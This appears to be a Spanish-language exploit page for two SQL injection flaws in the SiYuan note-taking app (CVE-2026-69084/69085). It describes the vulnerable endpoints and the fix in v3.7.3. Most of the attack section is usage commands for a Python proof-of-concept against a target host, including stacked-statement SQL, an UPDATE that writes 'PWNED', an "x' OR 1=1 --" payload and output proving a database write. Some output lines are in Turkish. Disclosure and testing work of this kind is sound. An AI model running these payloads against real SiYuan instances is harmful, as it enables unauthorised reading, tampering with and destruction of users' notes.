
CVE-2026-69084/69085 — SiYuan ejecución arbitraria de SQL mediante searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verificado en v3.7.2, rechazado en v3.7.3.
CVE-2026-69084: Ejecución arbitraria de SQL a través de /api/search/searchEmbedBlock
CVE-2026-69085: Inyección SQL a través de /api/filetree/searchDocs
CVSS 9.9 (Crítico) cada uno · CWE-89 · SiYuan <= v3.7.2 (corregido en v3.7.3)
Publicado el 2026-08-03 · sin PoC público en el momento de la publicación
SiYuan (aplicación de toma de notas de código abierto, github.com/siyuan-note/siyuan) expone
dos endpoints de API que entregan SQL controlado por el atacante a su base de datos SQLite:
CVE-2026-69084 — /api/search/searchEmbedBlock:
El parámetro stmt se pasa textualmente al manejador principal de lectura-escritura
siyuan.db sin restricción de declaración única ni de solo lectura. El
controlador de SQLite ejecuta declaraciones apiladas (separadas por punto y coma), por lo que un
atacante puede CREATE / INSERT / UPDATE / DELETE / DROP cualquier cosa en
la base de datos. Protegido únicamente por CheckAuth — accesible con un
token de publicación RoleReader, o de forma anónima cuando el modo de publicación tiene
Publish.Auth.Enable=false.
CVE-2026-69085 — /api/filetree/searchDocs:
El parámetro keyword se concatena directamente en el SQL sin escape
ni vinculación de parámetros.
Ambas se corrigieron en v3.7.3 mediante sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Si la instancia se ejecuta con el modo de publicación habilitado y la autenticación deshabilitada
(Publish.Auth.Enable=false), no se necesita --auth en absoluto.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL kabul edildi (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL kabul edildi (blocks: 0)
[+] DB-WRITE KANITI TAMAM — siyuan.db'de pwn_69084 tablosu + 31337 satırı
# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
La v3.7.3 corregida rechaza las mismas solicitudes:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT único sigue funcionando (se conserva la funcionalidad legítima)El PoC en Python realiza un inicio de sesión (/api/system/loginAuth) para obtener
la cookie de autenticación y luego envía un POST al endpoint vulnerable. Probado contra
b3log/siyuan:v3.7.2 (vulnerable) y b3log/siyuan:v3.7.3 (parcheado).
Publish.Auth.Enable=true y
usa tokens de RoleReader seguros.Solo para pruebas de seguridad autorizadas y fines educativos.